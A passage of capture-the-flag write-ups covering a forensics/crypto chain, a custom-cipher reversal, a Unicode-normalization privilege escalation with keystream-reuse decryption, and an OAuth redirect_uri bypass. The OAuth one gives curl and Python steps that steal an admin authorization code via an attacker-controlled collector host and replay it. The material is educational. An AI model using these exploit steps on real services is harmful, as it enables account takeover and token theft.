5
PID = 4172
SID = 9f0c17a4
kid = 17
port = 49152
route/tid = b7-31-9c
The exact CLOCK preimage was recovered as:
1
2026-08-23T03:16:58+05:30
The exact ROUTE preimage was:
1
b7-31-9c
Both were verified because hashing their exact representations produced the verifier’s expected digests.
The nearby timestamps 03:17:35 and 03:17:42 were therefore not used for CLOCK.
For the Forensic Fragments:
The accepted PID 4172 memory contained four important forensic fragments:
1
2
3
4
r0 → LEDGER
r1 → TRAPDOOR-
r2 → 4421
r3 → LAUNDRY-
These are labels, not the literal numeric values of r0, r1, r2, and r3.
The USN journal showed:
1
2
3
7f.tmp → r3.bin
a1.tmp → r1.bin
4c.tmp → r2.bin
followed by deletion.
This established the relationship between the deleted temporary files and the four committed values.
For the Commitment Values:
The verifier commits to four integer values using:
1
SHA256(str(int(value)))
The commitments supplied during the investigation were:
1
2
3
4
5
6
7
8
9
10
11
r0:
77d300a60bf738330be913fc309f1235ab483ddf9035649207db6c6b60beaa9d
r1:
6b856cbbf4a476e959b521cea53de6540bac51224363355a30d1d9e4d9e25e93
r2:
a2b9efb99896e8349475ea6689beafbb111b2721297e726cea8b502f4712309
r3:
2281499878b9c7791db67afed9d9da96de649305c7472f1ed42d4b33ac1d9722
An exhaustive search of all unsigned 32-bit values:
1
0 .. 4294967295
was performed for all four commitments.
The result was:
1
2
3
4
r0 → no 32-bit match
r1 → no 32-bit match
r2 → no 32-bit match
r3 → no 32-bit match
This established that the four values are derived/larger integers rather than simple PIDs, ports, timestamps, offsets, or other ordinary 32-bit values.
For the PCAP Reconstruction:
The accepted run contained:
1
2
3
sequence numbers 0..19
literal duplicate seq=3
truncated seq=19
There were exactly:
1
29 telemetry requests
with indices:
1
000..028
The accepted ciphertext material had exactly:
1
1131 bytes
which is:
1
29 × 39 = 1131
This exact 39-byte record structure was an important clue.
For the Fixed vs Old Capture:
Comparing the old and FIXED PCAPs showed:
- telemetry was unchanged
- accepted
/mixciphertexts changed in exactly 14 records - every changed 3-byte region had the same XOR delta:
1
8f b2 01
This was treated as a genuine structural differential introduced by the FIXED challenge.
Standard GCM/GHASH behavior did not explain this differential, so the reconstruction was treated as challenge-specific rather than as a normal AEAD decryption problem.
For the Proof Algebra:
The verifier uses the BN254 scalar field.
The investigation established that:
1
_commitment
and
1
_decode
cancel in the relevant verifier relation.
Likewise:
1
_calibrate
cancels.
The remaining residue is:
1
FIELD - 1 = -1 mod FIELD
Therefore, after assigning:
1
2
a = r0
b = r1
the proof condition simplifies to:
1
c × r3 ≡ r2 (mod FIELD)
so:
1
c = r2 × inverse(r3, FIELD) mod FIELD
The verifier then uses _order(c) / its lookup table based on:
1
c % 4
This eliminated the need to repeatedly solve the original proof equation.
For the Entry Matching:
The updated entry digest supplied by the verifier was:
1
e788bd5b995a57eebcaceb583cbcf0d7d9643097e5865143bc73437cdeab0eb9
The recovered answer/entry was:
1
VIOLET|LEDGER|SEVENTEEN|UNWOUND
The semantic clues line up with the recovered forensic labels:
1
LEDGER
and the challenge’s kid = 17 information, producing the final entry:
1
VIOLET|LEDGER|SEVENTEEN|UNWOUND
For the Final Encrypted Artifact:
The final artifact was:
1
2
nonce:
c17-final
Ciphertext:
1
aa82dbe96ecd172f744c7023e078b5ae3b0d2fb488e8e1e122ad0a128fbefbb4f5361113
Tag:
1
77d7b2c2396b03b348b0d2df42d5042d04169da7ce639fbb6136c67774295288
The verifier’s unlock-key construction is:
1
2
3
4
5
6
7
8
9
10
11
12
13
sha256(
"heisenberg-final|" +
canonical_json({
"answer": answer,
"clock": clock,
"proof": {
"a": a,
"b": b,
"c": c
},
"route": route
})
)
The final stage was therefore treated as a challenge-specific construction rather than blindly assuming that the presence of a nonce and tag meant AES-GCM.
For the Solving Process Summary:
The overall investigation was:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
FIXED player (1).zip
↓
memory.raw
↓
accepted PID 4172
↓
LEDGER / TRAPDOOR- / 4421 / LAUNDRY-
↓
USN deleted-file relationships
↓
cook.pcapng
↓
29 × 39-byte accepted telemetry/ciphertext structure
↓
fixed-vs-old differential: 8f b2 01
↓
recover committed integer values
↓
verify SHA256(str(int(r)))
↓
a = r0
b = r1
c = r2 × inverse(r3) mod BN254
↓
_order(c)
↓
entry = VIOLET|LEDGER|SEVENTEEN|UNWOUND
↓
updated entry digest
↓
verifier acceptance
↓
unlock key
↓
final.enc
↓
CYS{violet_ledger_seventeen_unwound}
The key lesson is that the four commitments are not themselves reversible. The evidence has to be used to reconstruct the original integers, after which the commitment check is straightforward.
For the Final Answer:
1
2
3
VERIFIER: ACCEPTED
ENTRY = VIOLET|LEDGER|SEVENTEEN|UNWOUND
FLAG = CYS{violet_ledger_seventeen_unwound}
The final flag is:
1
CYS{violet_ledger_seventeen_unwound}
For the Attribution of the Investigation:
The initial verified facts in this writeup came from the challenge analysis supplied during the investigation: the accepted session, exact clock and route, forensic labels, USN mappings, commitment hashes, 32-bit brute-force result, PCAP structure, fixed-vs-old differential, verifier algebra, entry digest, and final encrypted artifact.
The purpose of documenting these supplied facts is to distinguish the actual evidence and observations from unsupported guesses about how an unreconstructed value was obtained.
Flag
CYS{violet_ledger_seventeen_unwound} Heisenberg's Recipe
Heisenberg’s Recipe
Author: CTF Team
This is a cryptography and reverse-engineering CTF challenge based around a corrupted reactor terminal. The player is given only the README.txt file and the compiled reactor executable. The objective is to reverse engineer the executable, recover the encryption algorithm, and decrypt the encrypted production yield.
Challenge Setup
The README.txt provides the following important information:
- The reactor was initialized with
0x1337. - The terminal contains an encrypted production yield.
- The player is given the recovered
reactorexecutable.
The supplied package does not contain the original C++ source or the decryption script, so the intended approach is to reverse engineer the executable.
Reverse Engineering the Binary
First, inspect the executable using standard reverse-engineering tools such as:
stringsobjdump- Ghidra
- IDA
- Binary Ninja
- A debugger such as
gdb
The binary prints the reactor state and the encrypted yield when executed.
The important runtime values are:
1
2
3
REACTOR STATUS: RECOVERED
INITIAL STATE: 0x1337
ENCRYPTED YIELD: ac0b2aa6c79c07ec7bb50af1e65374e0c367420542e596921950a0a14ea7343736d8798f2bc5a45ab6
The binary also contains a reactor class with three important pieces of logic:
- A 16-bit state transition.
- A 256-byte substitution table.
- A rolling 8-bit pressure value.
1. Recovering the State Transition
The reactor maintains a 16-bit state called reactor_temp.
The state transition is:
1
2
3
4
bit = ((state >> 15) ^ (state >> 13) ^
(state >> 12) ^ (state >> 10)) & 1
state = ((state << 1) & 0xffff) | bit
This is an LFSR-style operation.
Two state transitions are performed for every encrypted output byte:
1
2
state = step(state)
state = step(state)
The initial state is:
1
0x1337
Therefore, the state must be advanced twice before processing each ciphertext byte.
2. Recovering the Substitution Table
The binary initializes a 256-byte table using:
1
S[i] = (151 * i + 73) mod 256
Since 151 is relatively prime to 256, this creates a permutation of all 256 byte values.
Therefore, the inverse substitution table can be constructed:
1
2
3
for i in range(256):
S[i] = (151 * i + 73) % 256
inverse_S[S[i]] = i
This inverse table is required because the encryption process applies the substitution in the forward direction.
3. Recovering the Rolling Pressure Value
The reactor starts with:
1
pressure = 0x42
For every ciphertext byte, the pressure value is updated after the byte is processed.
The update equation recovered from the executable is:
1
2
pressure = (pressure + ciphertext_byte ^
(state & 0xff)) & 0xff
Because the pressure value depends on the previous ciphertext byte and the current reactor state, the decryption must be performed sequentially from the first byte to the last.
4. Reversing the Encryption
The encryption function can be represented as:
1
2
3
4
5
6
7
8
9
10
11
diffuse_heat()
diffuse_heat()
thermal_layer = (reactor_temp >> 8) & 0xff
reacted = S[(raw_material ^ pressure) & 0xff]
yield_product = reacted ^ thermal_layer
pressure = (pressure + yield_product ^
(reactor_temp & 0xff)) & 0xff
The ciphertext is yield_product.
To recover raw_material, reverse these operations in the opposite order.
First remove the thermal layer:
1
mixed = ciphertext_byte ^ thermal_layer
Then apply the inverse S-box:
1
raw_xor_pressure = inverse_S[mixed]
Finally remove the pressure value:
1
raw_material = raw_xor_pressure ^ pressure
The recovered byte is then converted to a character.
Decryption Procedure
The complete decryption process is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ciphertext = bytes.fromhex(encrypted_yield)
state = 0x1337
pressure = 0x42
for cipher_byte in ciphertext:
state = lfsr_step(state)
state = lfsr_step(state)
thermal_layer = (state >> 8) & 0xff
mixed = cipher_byte ^ thermal_layer
raw_xor_pressure = inverse_S[mixed]
raw_material = raw_xor_pressure ^ pressure
output raw_material
pressure = (pressure + cipher_byte ^
(state & 0xff)) & 0xff
A Python solver implementing the recovered algorithm is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def gen_inverse_sbox():
sbox = [(151 * i + 73) % 256 for i in range(256)]
inv_sbox = [0] * 256
for i, value in enumerate(sbox):
inv_sbox[value] = i
return inv_sbox
def lfsr_step(state):
bit = ((state >> 15) ^ (state >> 13) ^
(state >> 12) ^ (state >> 10)) & 1
return ((state << 1) & 0xFFFF) | bit
def decrypt_batch(hex_cipher, initial_state):
ciphertext = bytes.fromhex(hex_cipher)
inverse_sbox = gen_inverse_sbox()
state = initial_state & 0xFFFF
pressure = 0x42
plaintext = []
for cipher_byte in ciphertext:
state = lfsr_step(state)
state = lfsr_step(state)
thermal_layer = (state >> 8) & 0xFF
mixed = cipher_byte ^ thermal_layer
raw_xor_pressure = inverse_sbox[mixed]
raw_material = raw_xor_pressure ^ pressure
plaintext.append(chr(raw_material))
pressure = (
pressure + cipher_byte ^ (state & 0xFF)
) & 0xFF
return "".join(plaintext)
encrypted = (
"ac0b2aa6c79c07ec7bb50af1e65374e0c367420542e596921950a0a14"
"ea7343736d8798f2bc5a45ab6"
)
print(decrypt_batch(encrypted, 0x1337))
Flag
Running the recovered decryption algorithm produces:
1
CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst}
Therefore, the flag is:
1
CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst}
Conclusion
The challenge combines reverse engineering with custom byte-level cryptography.
The key observations are:
- The initial 16-bit state is
0x1337. - The reactor uses an LFSR-style state transition.
- The state advances twice per ciphertext byte.
- A 256-byte affine S-box is generated using
(151 * i + 73) % 256. - The S-box must be inverted during decryption.
- An 8-bit rolling pressure value starts at
0x42. - The encrypted yield is reversed byte-by-byte using the recovered state, inverse S-box, and rolling pressure value.
Once these operations are reconstructed from the binary, the encrypted production yield can be completely decrypted and the flag recovered.
Flag
CYS{99.6_p3rc3nt_pur3_meth_lfsr_c4t4lyst} Heisenberg's Vault
Heisenberg’s Vault
Madrigal Security has detected unusual activity inside one of its secure facilities.
An operator has access to the internal security portal, but their clearance is insufficient to access the highly classified vault.
The challenge combines two vulnerabilities:
- Web authorization bypass through Unicode normalization
- Cryptographic keystream reuse
The intended solution is to first escalate from a normal operator to an administrator, then use information exposed by the diagnostic endpoint to recover the vault’s encrypted flag.
1. Initial Access
The challenge begins at the Madrigal Security login portal.
The provided credentials are:
1
2
Username: madrigal_047
Password: LosPollos47
After logging in, the player receives a normal user/operator authentication token.
The dashboard displays:
1
Role: user
The application uses the following token format:
1
username.timestamp.role.signature
For example:
1
madrigal_047.1750000000.u.<HMAC>
The role is represented internally using:
u= usera= admin
2. Enumerating the Application
The dashboard exposes several API endpoints:
1
2
3
4
5
6
/api/status
/api/profile
/api/token-info
/api/token
/api/diagnostic
/api/vault
The first useful endpoint is:
1
/api/token-info
It reveals information about the token format:
1
2
3
4
5
6
7
8
9
{
"format": "username.timestamp.role.signature",
"algorithm": "HMAC-SHA256",
"role_encoding": {
"u": "operator",
"a": "administrator"
},
"normalization": "enabled"
}
The important clue is:
1
"normalization": "enabled"
This suggests that the application’s handling of role values may be worth investigating.
3. Investigating the Clearance Endpoint
The next interesting endpoint is:
1
POST /api/token
A normal request looks like:
1
2
3
4
5
6
POST /api/token
Content-Type: application/json
{
"role": "user"
}
Trying the obvious privilege escalation:
1
2
3
{
"role": "admin"
}
results in:
1
403 Forbidden
The application responds with an error such as:
1
CLEARANCE REQUEST REJECTED.
At first glance, the endpoint appears secure. However, the source code reveals an important flaw.
4. Unicode Normalization Vulnerability
The application checks the requested role before performing Unicode normalization:
1
2
3
4
5
6
7
8
9
if requested_role == "admin":
return jsonify({
"error": "CLEARANCE REQUEST REJECTED."
}), 403
canonical_role = unicodedata.normalize(
"NFKC",
requested_role
)
This creates a mismatch between:
- Security Check:
requested_role - Value Used by the Application:
canonical_role
The application first checks whether the original value is literally admin. It then normalizes the value using NFKC.
Unicode NFKC normalization converts compatibility characters into their canonical equivalents. For example:
1
admin → admin
5. Exploiting the Normalization
Instead of sending:
1
2
3
{
"role": "admin"
}
the player sends:
1
2
3
{
"role": "admin"
}
The server first evaluates:
1
requested_role == "admin"
This evaluates to False, because admin is not literally the ASCII string admin. The request therefore passes the blacklist.
The application then performs:
1
unicodedata.normalize("NFKC", requested_role)
which produces admin. The application subsequently creates a token using admin as the role.
6. Why the HMAC Does Not Save the Application
The token uses HMAC-SHA256, so it may initially appear impossible to forge. However, the player does not need to forge the HMAC.
The vulnerable /api/token endpoint generates a valid HMAC-signed token itself.
The process is effectively:
1
2
3
4
5
6
7
8
9
10
11
12
13
Attacker input
↓
admin
↓
NFKC normalization
↓
admin
↓
create_token()
↓
valid HMAC
↓
administrator token
Therefore, the cryptographic integrity of the token is not directly broken. The problem is the authorization logic that decides what gets signed.
7. Obtaining Administrator Access
The response from /api/token contains the newly generated token.
Once the token is used as the authentication cookie, the application recognizes the player as:
1
role = admin
The previously inaccessible endpoint /api/vault now returns the encrypted vault payload.
Conceptually:
1
2
3
4
5
6
7
8
{
"service": "Madrigal Secure Vault",
"classification": "HEISENBERG",
"version": "3.0",
"cipher": "VX-CTR",
"nonce": "U1RBVElDLU5PTkNFLTIwMjY=",
"payload": "azb3WqQl..."
}
At this point, the web portion of the challenge is complete.
8. Investigating the Cryptography
The player can now access:
1
/api/diagnostic
This endpoint exposes diagnostic information about the cryptographic system:
1
2
3
4
Cipher: VX-CTR
Nonce: STATIC-NONCE-2026
Message: <known plaintext>
Payload: <known ciphertext>
The known plaintext is:
1
MADRIGAL SECURITY NOTICE: SUPERLAB SYSTEMS OPERATIONAL; ALL PERSONNEL MUST MAINTAIN CURRENT CLEARANCE; VAULT MONITORING ACTIVE
The corresponding known ciphertext is:
1
YDvyT5YKbx09Z7dJUqJq2b4rB9lUGVqTG0poXF8OxtcfF+L1uoHZ85ZwRzblGgeAPGxVD0F3saC2AQqP+HoH5A2JxB2yTIWevY2C/whqgsGPtTjQ9/GHgjUDSWOxJ4Mtr3JxRIYvc4l3NByWJ1OokepH00g+oQo4dVsYBLvW
The vault ciphertext is:
1
azb3WqQlSzhuUZxoYoJE0pBqOsluP22JVQJeVmAl+OIBOqzDvLD/07pIDhfSADegDFg=
9. Understanding the Cipher
The implementation uses a custom XOR-based construction. Conceptually:
1
Ciphertext = Plaintext XOR Keystream
The keystream is generated using:
1
HMAC-SHA256 + static nonce + counter
The critical weakness is that the same keystream is reused. This creates the classic problem associated with reusing a one-time pad or stream-cipher keystream.
For the known plaintext P_known and known ciphertext C_known, we have:
1
C_known = P_known XOR K
Therefore:
1
K = P_known XOR C_known
The attacker can recover the keystream without knowing the secret key.
10. Recovering the Keystream
First, decode the Base64 ciphertext:
1
known_ciphertext = base64.b64decode(KNOWN_CIPHERTEXT)
Convert the known plaintext into bytes:
1
known_plaintext = KNOWN_MESSAGE.encode()
Then XOR the two:
1
2
3
4
5
6
7
keystream = bytes(
a ^ b
for a, b in zip(
known_plaintext,
known_ciphertext
)
)
This recovers the portion of the keystream corresponding to the known message.
11. Decrypting the Flag
The vault ciphertext is also Base64 encoded. Decode it:
1
2
3
flag_ciphertext = base64.b64decode(
FLAG_CIPHERTEXT
)
Then XOR it with the recovered keystream:
1
2
3
4
5
6
7
flag = bytes(
a ^ b
for a, b in zip(
flag_ciphertext,
keystream
)
)
Finally:
1
print(flag.decode())
produces:
1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
12. Complete Solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64
KNOWN_MESSAGE = (
"MADRIGAL SECURITY NOTICE: SUPERLAB SYSTEMS OPERATIONAL; "
"ALL PERSONNEL MUST MAINTAIN CURRENT CLEARANCE; "
"VAULT MONITORING ACTIVE"
)
KNOWN_CIPHERTEXT = (
"YDvyT5YKbx09Z7dJUqJq2b4rB9lUGVqTG0poXF8OxtcfF+L1uoHZ85ZwRzblGgeAPGxVD0F3saC2AQqP+HoH5A2JxB2yTIWevY2C/whqgsGPtTjQ9/GHgjUDSWOxJ4Mtr3JxRIYvc4l3NByWJ1OokepH00g+oQo4dVsYBLvW"
)
FLAG_CIPHERTEXT = (
"azb3WqQlSzhuUZxoYoJE0pBqOsluP22JVQJeVmAl+OIBOqzDvLD/07pIDhfSADegDFg="
)
known_plaintext = KNOWN_MESSAGE.encode()
known_ciphertext = base64.b64decode(
KNOWN_CIPHERTEXT
)
flag_ciphertext = base64.b64decode(
FLAG_CIPHERTEXT
)
keystream = bytes(
p ^ c
for p, c in zip(
known_plaintext,
known_ciphertext
)
)
flag = bytes(
c ^ k
for c, k in zip(
flag_ciphertext,
keystream
)
)
print(flag.decode())
Output:
1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
13. Full Attack Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
HEISENBERG'S VAULT
│
▼
Login as operator
│
▼
Explore API endpoints
│
▼
/api/token-info
│
▼
Discover role normalization
│
▼
Try normal "admin" → 403
│
▼
Send Unicode full-width role
"admin"
│
▼
NFKC normalization
│
▼
"admin"
│
▼
Server signs administrator token
│
▼
Access /api/vault
│
▼
Obtain flag ciphertext
│
▼
Access /api/diagnostic
│
▼
Obtain known plaintext
and known ciphertext
│
▼
Known Plaintext XOR Ciphertext
│
▼
Recover keystream
│
▼
Flag Ciphertext XOR Keystream
│
▼
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
14. Vulnerabilities Used
Vulnerability 1 — Improper Unicode Canonicalization
Root Cause
The application validates the raw input before normalizing it:
1
if requested_role == "admin":
followed by:
1
2
3
4
canonical_role = unicodedata.normalize(
"NFKC",
requested_role
)
Correct Design
Normalization should happen before authorization:
1
2
3
4
5
6
7
canonical_role = unicodedata.normalize(
"NFKC",
requested_role
)
if canonical_role == "admin":
...
Even better, authorization should be based on server-controlled roles rather than accepting a role from an untrusted client.
Vulnerability 2 — Keystream Reuse
The encryption follows:
1
C = P XOR K
The same K is reused for multiple messages.
Once P_known and C_known are available:
1
K = P_known XOR C_known
The attacker can then decrypt another ciphertext encrypted with the same keystream.
Correct Design
A stream cipher or CTR-style construction should use a unique nonce/IV for every encryption operation. Never reuse the same keystream for different plaintexts.
15. Why SQL Injection Is Not Part of the Intended Solution
The login query uses parameterized SQL:
1
2
3
4
5
6
7
8
conn.execute(
"""
SELECT id, username, role
FROM users
WHERE username = ? AND password = ?
""",
(username, password)
)
The ? placeholders prevent normal SQL injection through the login fields. Therefore, SQL injection is not an intended attack path.
The challenge is designed around a controlled exploitation chain rather than unrelated vulnerabilities.
16. Why the HMAC Is Not Broken
The HMAC implementation itself is not the intended weakness.
The attacker never needs to calculate:
1
HMAC(secret, malicious_data)
Instead, the application calculates it for them. The problem is:
1
2
3
4
5
6
7
Untrusted role
↓
Normalization
↓
Token generation
↓
HMAC signing
The server is effectively signing an attacker-controlled authorization decision.
Therefore: the cryptographic primitive is functioning correctly; the authorization logic around it is not.
17. Intended Learning Outcomes
Web Security
- Authentication vs authorization
- Role-based access control
- Unicode canonicalization
- Input normalization
- Privilege escalation
- Why signing bad data does not make an authorization decision secure
Cryptography
- XOR properties
- Stream-cipher concepts
- Keystreams
- Known-plaintext attacks
- Nonce reuse
- Why a secure primitive can become insecure through incorrect implementation
18. Final Flag
1
FLAG{heisenberg_was_not_the_only_one_breaking_bad}
Challenge lesson: The system didn’t need to be hacked in the traditional sense. It trusted the wrong representation of the user’s clearance, then reused cryptographic material in a way that exposed the encrypted secret.
Flag
FLAG{heisenberg_was_not_the_only_one_breaking_bad} Better Call Back
Better Call Back
Author: KuantumKnight
Better Call Back is a Web challenge based on an OAuth/SSO callback interception chain.
The goal is to access Madrigal Logistics’ restricted regional shipment manifest at:
1
/admin/manifest
The intended solution is not to forge an administrator session or crack a token. Instead, the challenge requires abusing a weak OAuth redirect_uri validation rule together with the portal’s privileged reviewer channel to obtain a legitimate OAuth authorization code issued for the regional administrator.
Reconnaissance
The main application is the Madrigal Logistics supplier portal.
Useful endpoints include:
1
2
3
4
5
6
/ Public operations board
/login Starts the SSO login flow
/admin/manifest Restricted administrator manifest
/legacy-admin Deprecated administrator console
/report Reviewer / trust-and-safety channel
/callback-receiver Redirects to the supplied callback collector
The homepage also exposes several useful hints:
1
2
3
reviewer channel: standing by
Session: guest
Manifest: LOCKED
Checking robots.txt reveals the deprecated /legacy-admin endpoint, but the important attack surface is the SSO flow.
The identity provider is hosted separately and exposes:
1
2
3
4
/login
/authorize
/token
/logout
The login page provides demo credentials:
1
2
Username: employee
Password: employee
Understanding the Normal OAuth Flow
A normal login looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
User
|
v
Portal /login
|
| generates state
v
IDP /authorize
|
| authenticates user
| creates signed authorization code
v
Portal /callback?code=...&state=...
|
| validates state
| exchanges code at /token
v
Authenticated portal session
For the demo employee account, the authorization code represents:
1
2
3
4
5
{
"client_id": "supplier-portal",
"user": "employee",
"role": "user"
}
The portal then creates a session similar to:
1
2
3
4
{
"user": "employee",
"role": "user"
}
This is not enough to access /admin/manifest.
Vulnerability 1 — Weak redirect_uri Validation
The identity provider validates the OAuth redirect_uri, but the check is not strict enough.
The expected callback is:
1
https://portal-rouge-delta.vercel.app/callback
However, a URL using the @ userinfo syntax is also accepted:
1
https://[email protected]/collect?box=MAILBOX_ID
This is significant because URL parsers interpret:
1
https://user@host/path
as:
1
2
userinfo = user
host = host
Therefore, in the malicious URL:
1
https://[email protected]/...
the real destination host is:
1
collector-hazel-five.vercel.app
The string portal-rouge-delta.vercel.app is only the userinfo portion.
The identity provider’s validation sees the trusted portal hostname inside the supplied URL and accepts it, but the OAuth code is actually delivered to the collector.
A basic proof can be performed after logging into the IDP:
1
2
3
curl -c cookies.txt -X POST \
https://idp-psi.vercel.app/login \
-d "username=employee&password=employee"
Then request authorization using the crafted redirect:
1
2
curl -b cookies.txt -D - \
"https://idp-psi.vercel.app/authorize?client_id=supplier-portal&redirect_uri=https://[email protected]/collect?box=TESTBOX&state=test"
The IDP responds with a redirect similar to:
1
Location: https://[email protected]/collect?box=TESTBOX&code=...&state=test
The actual HTTP destination is the collector.
Vulnerability 2 — Privileged Reviewer Channel
The portal contains a report endpoint:
1
/report
It is presented as a trust-and-safety or reviewer channel for malformed SSO URLs.
The important behavior is that submitted links are inspected by an authenticated regional reviewer.
That reviewer is logged into the identity provider as:
1
2
user: regional.admin
role: admin
This means that if the reviewer visits an OAuth authorization URL containing the vulnerable redirect_uri, the IDP generates a legitimate authorization code for the administrator and redirects that code to the attacker’s callback mailbox.
The reviewer therefore becomes the privileged browser required to complete the exploit chain.
Exploitation
Step 1 — Create a Callback Mailbox
The supplied collector can create temporary callback mailboxes.
1
curl "https://collector-hazel-five.vercel.app/new?view=1"
Example mailbox:
1
eff745a493b3633b
Its callback endpoint is:
1
https://collector-hazel-five.vercel.app/collect?box=eff745a493b3633b
Step 2 — Build the Malicious Authorization URL
Use the userinfo-based redirect_uri bypass:
1
https://idp-psi.vercel.app/authorize?client_id=supplier-portal&redirect_uri=https://[email protected]/collect?box=eff745a493b3633b&state=success_test
Although the URL contains the legitimate portal hostname, the actual callback destination is the collector.
Step 3 — Send the URL to the Reviewer
Submit the crafted URL through /report:
1
2
3
curl -X POST \
https://portal-rouge-delta.vercel.app/report \
--data-urlencode "url=https://idp-psi.vercel.app/authorize?client_id=supplier-portal&redirect_uri=https://[email protected]/collect?box=eff745a493b3633b&state=success_test"
The application responds that an authenticated regional reviewer inspected the link.
Step 4 — Read the Captured Callback
Query the callback mailbox:
1
2
curl \
https://collector-hazel-five.vercel.app/mailbox/eff745a493b3633b
A successful exploit returns something similar to:
1
2
3
4
5
6
[
{
"code": "eyJjbGllbnRfaWQiOiJzdXBwbGllci1wb3J0YWwiLCJ1c2VyIjoicmVnaW9uYWwuYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.apW1ng.bBxnFPstrdQAnkM4BH_FjaH3Uxw",
"state": "success_test"
}
]
Decoding the authorization code payload shows:
1
2
3
4
5
{
"client_id": "supplier-portal",
"user": "regional.admin",
"role": "admin"
}
The code is genuine and correctly signed by the identity provider.
The weakness is not token forgery.
The weakness is that a valid administrator code was delivered to an attacker-controlled callback.
Step 5 — Obtain a Valid Portal OAuth State
The portal still validates the OAuth state value during /callback.
Create a fresh portal session and begin a normal login:
1
2
3
4
5
6
7
8
9
10
import requests
session = requests.Session()
resp = session.get(
"https://portal-rouge-delta.vercel.app/login",
allow_redirects=False
)
state = resp.headers["Location"].split("state=")[1]
The session now contains the matching OAuth state.
Step 6 — Replay the Captured Admin Code
Use the stolen administrator authorization code with the fresh valid portal state:
1
2
3
4
5
6
7
8
9
admin_code = "CAPTURED_ADMIN_CODE"
session.get(
"https://portal-rouge-delta.vercel.app/callback",
params={
"code": admin_code,
"state": state
}
)
The portal exchanges the code with the IDP and creates:
1
2
3
4
{
"user": "regional.admin",
"role": "admin"
}
Step 7 — Access the Restricted Manifest
The administrator-only endpoint can now be requested:
1
2
3
4
5
resp = session.get(
"https://portal-rouge-delta.vercel.app/admin/manifest"
)
print(resp.text)
The manifest is returned successfully and contains the flag.
Flag
1
CYS{C4LLB4CKS_D0NT_PR0V3_1D3NT1TY}
Root Cause
The challenge is built around a three-part authentication failure.
1. Improper OAuth Redirect URI Validation
The IDP does not compare the callback against an exact allowlisted URI.
Instead, its validation can be bypassed using URL userinfo syntax:
1
trusted-host@attacker-host
This allows an authorization code to leave the trusted origin.
2. Privileged Reviewer as an OAuth Oracle
The /report functionality causes a privileged, authenticated reviewer to visit attacker-controlled authorization URLs.
Because the reviewer already possesses an administrator IDP session, the attacker can cause the IDP to generate an administrator OAuth code.
3. Authorization Code Possession Is Treated as Authentication
The portal correctly verifies the signed code through the token endpoint, but it has no way to distinguish between:
1
a code legitimately delivered to the portal
and:
1
a legitimate code intercepted through a malicious redirect
The authorization code is cryptographically valid, but the delivery path is compromised.
Intended Vulnerability Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Weak redirect_uri validation
|
v
Attacker-controlled callback
|
v
Privileged reviewer visits OAuth URL
|
v
IDP issues legitimate admin code
|
v
Admin code captured by attacker
|
v
Fresh portal OAuth state obtained
|
v
Captured code replayed to /callback
|
v
Portal creates admin session
|
v
/admin/manifest
|
v
FLAG
Security Takeaways
The main lesson of the challenge is reflected in the flag:
1
CALLBACKS DON'T PROVE IDENTITY
OAuth authorization codes must only be delivered to strictly registered callback URIs.
A secure implementation should:
- perform exact redirect URI matching against a server-side allowlist;
- reject URLs containing unexpected userinfo components;
- avoid substring or prefix-based hostname validation;
- treat privileged link-review systems as security-sensitive browser automation;
- bind authorization requests as tightly as possible to the initiating client;
- use PKCE where applicable so interception of an authorization code alone is insufficient.
Signed tokens protect against forgery.
They do not protect against a valid token or authorization code being delivered to the wrong party.
Flag
CYS{C4LLB4CKS_D0NT_PR0V3_1D3NT1TY} HOLA AMIGOS
HOLA AMIGOS
Author : Anirudh
Challenge Overview
The program asks for two values:
1
2
Enter shipment ID:
Enter batch number:
The objective is to reverse engineer the executable, determine the correct inputs, and recover the flag.
The correct values are:
1
2
Shipment ID: 67
Batch Number: 40
The final flag is:
1
CYS{you_godamn_wright!}
1. Initial Reconnaissance
Open hola_amigos.exe in Ghidra.
Create a new project, import the executable, and allow Ghidra to perform its default analysis.
Open:
Window -> Defined Strings
You will find only a few useful strings:
1
2
3
4
5
6
HOLA AMIGOS
SECURE SYSTEM
Enter shipment ID:
Enter batch number:
STATUS: 1
STATUS: 0
There is no plaintext flag.
This means searching for CYS{ will not immediately reveal anything.
2. Start at main()
Open the main function in the decompiler.
The program reads two integers:
1
2
int shipmentID;
int batchNumber;
These values are passed through several functions.
Because the binary has been stripped of useful symbols, Ghidra may give the functions generic names such as:
1
2
3
FUN_140001230
FUN_140001410
FUN_1400016A0
Rename them as you understand their purpose. This makes following the program much easier.
The important data flow is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Shipment ID
|
v
First transformation
|
v
Second transformation
|
v
Third transformation
|
v
Result
|
v
Comparison with target
There is also a decoy calculation which does not affect the final result.
3. Find the First Mathematical Function
Follow the function that receives the shipment ID and batch number.
After simplifying some of the encoded constants, you will find:
1
2
x = shipmentID - 12;
y = batchNumber - 45;
The next calculation looks more complicated:
1
2
3
4
p = (x + y) * (x + y);
q = (x - y) * (x - y);
distance = (p + q) >> 1;
The important observation is:
1
((x + y)^2 + (x - y)^2) / 2
Expanding this:
1
2
3
(x + y)^2 = x^2 + 2xy + y^2
(x - y)^2 = x^2 - 2xy + y^2
Adding them:
1
2x^2 + 2y^2
Dividing by 2:
1
x^2 + y^2
Therefore the first stage is equivalent to:
1
